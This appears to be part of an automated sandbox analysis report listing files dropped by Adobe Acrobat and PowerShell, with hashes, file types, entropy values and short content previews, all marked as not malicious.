SHA-512:	4DA76BB1391B1BB3309D93430EC9ACF800111DCA8B93FAB0B36EF5A03F7D6DA3590A9449CF02EAC5FC6B5643EB980C4AF14AE181BFA4922C6A9C783326B48945
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bade259-470e-405e-84ff-9e383c9446df","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715390758,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.3081162512177595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkBAAzRMR14mSg1c2LjcWkHvR0Y+DeoAvJf+dPeUkwRe9:YvXKXFkBAAtMR1rT5LjIPgVG28Ukee9
MD5:	96508564D3B481DD924490510B76322C
SHA1:	D4887811BF1348B34E443A20A145738CB8447A47
SHA-256:	55C86C696CCA3396EFBA3AFFA6DB8EE9E60AEE8A3EED351680D62926D09500C7
SHA-512:	A06EC42034A5F5C7ECF0380406C8F461829B582B4CF7FBD118CD9CC233ED2AFF81266371C827338752FAEF71BF6488630B03F2A4256549C99571C619CD592FB4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bade259-470e-405e-84ff-9e383c9446df","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715390758,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.304253759608862
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkBAAzRMR14mSg1c2LjcWkHvR0Y+DeoAvJfbPtdPeUkwRe9:YvXKXFkBAAtMR1rT5LjIPgVGDV8Ukee9
MD5:	70DFCA144D2C413AA5B5763FCE51F5D7
SHA1:	47BECDF86269560C2427995BBC6AB0D912254CC5
SHA-256:	AEF8257C3AF1A873B373DAC851E738CC1AF1C7760711291B794FA1E110365360
SHA-512:	EFCD9B33E5923D5B236554376CA2DE67F7D5178C7E0D28441A11C104A8DCA1F73F00D96FCEA1007BF613D4EA5E9A40592A8A0A4D3EDA8C7EB3C4EC458253DC7D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bade259-470e-405e-84ff-9e383c9446df","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715390758,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2963022817151915
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkBAAzRMR14mSg1c2LjcWkHvR0Y+DeoAvJf21rPeUkwRe9:YvXKXFkBAAtMR1rT5LjIPgVG+16Ukee9
MD5:	D2A0C0AB97310047702C2D179B218E83
SHA1:	C9C88913E174E7E88B9D35E9FACED93A4C726E19
SHA-256:	C146ABDFB7440040A0B954A1C2D90009FD1C1FB6A7C0E8F3B4A0AF3601E495CD
SHA-512:	206977CF50086A5C20EB8339B778FB30B6BDC28441D5F62CE13511791229747C68B023F54F569B73CCFA228F64BF91DD0A80A86434212C8D885BEFFEE19945CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bade259-470e-405e-84ff-9e383c9446df","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715390758,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.671886599791373
Encrypted:	false
SSDEEP:	24:Yv6XWMPrT5XItamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSVY:YvgpXaBgkDMUJUAh8cvMG
MD5:	43D520B82B86C51905360914C8275850
SHA1:	61CE5A351887FF4AE249540104394C9FA8E7F143
SHA-256:	4CB9C2286F5EE0F9132260A34E431783861AEC5EFAEE6407F23D85A0DD5B5131
SHA-512:	529E22793FD5909DE01D25B42E92CD01E6D66BEDE3CF9AABDE6725589B0BF7EA8C85906D3B1BECF78E218C7DEEE80135C7884B60A10144975F0E7748BB8B22D8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bade259-470e-405e-84ff-9e383c9446df","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715390758,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.270973066187894
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkBAAzRMR14mSg1c2LjcWkHvR0Y+DeoAvJfshHHrPeUkwRe9:YvXKXFkBAAtMR1rT5LjIPgVGUUUkee9
MD5:	9206B687099A7C2BB088F84F61E86CEE
SHA1:	82DAEF152C2CC404A26069A3260A4F0F4DD98467
SHA-256:	ADF5271EBAF9A32E86AEFB780284479FFC02F72EAB7D0F819DA7E5FB7FFBB30A
SHA-512:	E01CF8D6F80DA7BBB8C78C6AE9B7E255C7F0D3CC86E5C197AEF63139197EFFBB34ACBCD5027B28C5B0B6103EC4B14EB5DB9BF7EC4FE23C7D88C2C09C0190D36A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bade259-470e-405e-84ff-9e383c9446df","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715390758,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.278400828517505
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkBAAzRMR14mSg1c2LjcWkHvR0Y+DeoAvJTqgFCrPeUkwRe9:YvXKXFkBAAtMR1rT5LjIPgVGTq16Uke6
MD5:	5844E00C40CB6A082753016C5A5E259A
SHA1:	9CFDE8C803CCE80F39B721A8FAF2351C9AFE3580
SHA-256:	A1C9CF21A5E8A2E65A8E48632822C0F3E4EC803FBE31DEF828F3C74C201568C5
SHA-512:	2F4FD535A6DBEBA58B23D66543369DCA23B1735E7DB36C8A7E97739FDF1B16E769B16BD74AA1AFB4447E3C790C25717E5C9C08674BC1710C6DC7102E879DCA38
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bade259-470e-405e-84ff-9e383c9446df","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715390758,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139556864353438
Encrypted:	false
SSDEEP:	24:YfTAairayDwy9q6MBrEMJrr4BkfF4JjYj0SvaNz27P2LSBCW81JyrIjs5zi39XSI:Ymn99urssFeaWpsPPB82rI489CI
MD5:	2BCFDFB60CF83BB5205594426ED7A3F5
SHA1:	F22B582094BD10F2BB9FCFE26284C157E3B2FB6D
SHA-256:	F77FD8EA63663903AC4EDE768A24EB038E6E4A2E4F6085B9DEE2D70441620BCB
SHA-512:	AE9E628A372F36BCD78A917C23DEE4F56222655AEF3BB164AEA60825EFD1C0310BA5E6CA70B640DC10E8F000C33AF2C97A318D2D738F6E32583CC78756626F7F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"892f7978971adc6fa00db4c8aebf847a","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736540386000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"40cdc79c481ec76202dae7c77b9dfd50","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736540386000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"44705c331d750c2c0f0078b73a6c5728","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736540386000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"1be67178d7d52156484417d101e5bade","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736540386000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"64e40db90584f1b695cf8d2395d60c96","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736540386000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"1f55e76ee208ea9b86c8ea63bfc5acb7","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3677014358728818
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDuByXKdqEKfS8EKfM1baZyF:Tll2GL7msMcKTlS8fcsuBpfIZy
MD5:	068EA47A32E11A16DF8E28402A0CBFA9
SHA1:	8628A7798834F8CD97D7D1AF4E0C615237A912E6
SHA-256:	0C2EB67ECC626642EEF7486E028AB4640F38C662A19790BB3493FCC1E355E7C7
SHA-512:	02672D59521CD8A87A4C14F02BA03E3CC785A21A325C686275AA9A8D1401B5C79BC4A8E3EBC83DD81ABE52BC6A1DB42E094A1263C639688FD573A1B01FC5C26F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8433959892481346
Encrypted:	false
SSDEEP:	24:7+taZ6bqyKn6ylSTofcNqDuBy+KdqEKfS8EKfM1banbqnqLKufx/XYKQvGJF7urS:7MAcKTlS8fcsuBofICqGufl2GL7ms3
MD5:	C4304EF27AFF9A5335D6CBE0E40F77BA
SHA1:	10D94197086F1197422BE8428013128C6A5D209E
SHA-256:	7AD8B0162F995EE54205C4DF420F69CC1DD03278649A57F04DCD442DCBBB5B72
SHA-512:	F9C92E6A5A0F23A87CCCACC615AA35DFA341DBCFA6456492FDF0BD4177562B9F62EA668ECFAF715B944F7A837ABEFA22C68A0E545F6D95F760A51C8DD785555E
Malicious:	false
Preview:	.... .c.......T...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgTuPKKnKvwahKWbbwEQj5gitapvYyu:6a6TZ44ADE1oW/wHjeiIpvK
MD5:	35C8CDB3E13F83712555B49877B866A1
SHA1:	463B405D077E7EC81183BEFB770A037F447E384E
SHA-256:	58EBFA2DEFC495A85E16FDD178EF77AB0C4FE062F0D80345491820157AEA76D6
SHA-512:	4BE4567FF8CC86DAC4C72F14232570A2F79E1B9E51323572079BF6432CF7FC166B053DE4A246CB9C510EE16A880BC91C1A5EC46A9C7D8661F4AA2D38ACE2BB2D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nllluldhz/lL:NllU
MD5:	03744CE5681CB7F5E53A02F19FA22067
SHA1:	234FB09010F6714453C83795D8CF3250D871D4DF
SHA-256:	88348573B57BA21639837E3AF19A00B4D7889E2D8E90A923151AC022D2946E5D
SHA-512:	0C05D6047DBA2286F8F72EB69A69919DC5650F96E8EE759BA9B3FC10BE793F3A88408457E700936BCACA02816CE25DD53F48B962491E7F4F0A4A534D88A855E6
Malicious:	false
Preview:	@...e.................................L..............@..........

C:\Users\user\AppData\Local\Temp\MSI60059.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5105370742203172
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClERGJe:Qw946cPbiOxDlbYnuRK+bDRX
MD5:	AECD8441C35D44F9460259897FF1A1C3
SHA1:	CAF2DAA2AE08FBC2B01DDF86F9A71F9A3A96D2C8
SHA-256:	7FC014AF4442F9CC45E9AAC104B528562E383EA6C4C2B5310A379BE25ADE3CF6
SHA-512:	0755EC44554F19490C0EFCA4EF75064EB7E0BCF2CDA1CD869AF0DC38513D1F9835D253D7A399003A726A152E2686452C79555EDF6BEC17B9577A42C038CEBA0C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.1.9.:.5.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ltlzk3iq.bo3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zblfz12i.p4q.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-19-38-387.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.373804515818045
Encrypted:	false
SSDEEP:	384:JmyTKO/ynrYwIgy2JmGglg3gUyzLkPCRVxo9KDNvPdVeBUgW+v7jQtOwLwBUFfpb:azW
MD5:	B9DC73EA8F64597D249C1DB709241646
SHA1:	9EDB2683E3239804821C6A9EE5B1E849BA2C8695
SHA-256:	919D2704ABE55727783E2C8308C6C2FFC068505DD182EE97913B6EDF6360C1DD
SHA-512:	0640D6D7FCAB9D302D201769E2A66994A84EA48461433A5E426EB4C795EB2E007BE6A9EDA8E4471A6863967D1DBB8E1952A4502A7BD891BE4A1236EA03302A73
Malicious:	false
Preview:	SessionID=0fdfc69d-4983-47bd-9c13-db01f063e357.1736540378405 Timestamp=2025-01-10T15:19:38:405-0500 ThreadID=3592 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=0fdfc69d-4983-47bd-9c13-db01f063e357.1736540378405 Timestamp=2025-01-10T15:19:38:406-0500 ThreadID=3592 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=0fdfc69d-4983-47bd-9c13-db01f063e357.1736540378405 Timestamp=2025-01-10T15:19:38:406-0500 ThreadID=3592 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=0fdfc69d-4983-47bd-9c13-db01f063e357.1736540378405 Timestamp=2025-01-10T15:19:38:406-0500 ThreadID=3592 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=0fdfc69d-4983-47bd-9c13-db01f063e357.1736540378405 Timestamp=2025-01-10T15:19:38:406-0500 ThreadID=3592 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.387426783952634
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmmScbkIMKcbp:8qnXopZ50rSZMZ
MD5:	B486376C931AF76B09EB0ED3AC28B300
SHA1:	25328F7DBC554852BC69F983192A32F75BD5140D
SHA-256:	B2DBB2F14191CC72F13447187D5791D473CB7A49D44B10FAADD1A3EAB9D4B5B1
SHA-512:	DB7A63F25175EF76193BDDADEF59F0D439CEA10E03C7472BBEA494D97F57C4E2C15338AC716B3EE9EF759763118C46CA5E5EDA8E0D506E689284897FF921A2CF
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3cd20ad1-ea5e-46c7-8110-156d77331697.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/n5ZwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:xZwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	E78E4D1CA18BE28748F65C3A192DAFB2
SHA1:	78AD6025CB470EFB9ECA8FF1ED41F617372D1F9F
SHA-256:	F4B25F5C5BE48E151080D9CC24C8A4662CBB591A6B32037DB8D7ADE1828D8849
SHA-512:	E170C9BD3B6BB575244FCD380334D763C30352586F60824A67868EAE8E895BE0601D51670FCC304724BDF321CE8EF64881E606C9CF4C18C5817DFB5A679E44D6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\3d80274e-f559-40a1-942d-2b14d8650652.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6qWL07oXGZIZwYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:ZWLxXGZIZwZGh3mlind9i4ufFXpAXkru
MD5:	E726B36897E958CA051FEA78BCF29204
SHA1:	1123642FB646996FEB2FD7DDCD8FE4F3C50A5949
SHA-256:	CD35E76A516E66EE1994048C33D954CA73B4EC4542D15309F7923193B8ED1C39
SHA-512:	0D425C0B56E1F0700124660CA9B252CAEA17A69C618E51759CC7926F09D8FF1B55F38D967C8D27D88DCAA7051B29AEF7C23083B3C460F4B822AE0D80A9440773
Malicious:	false
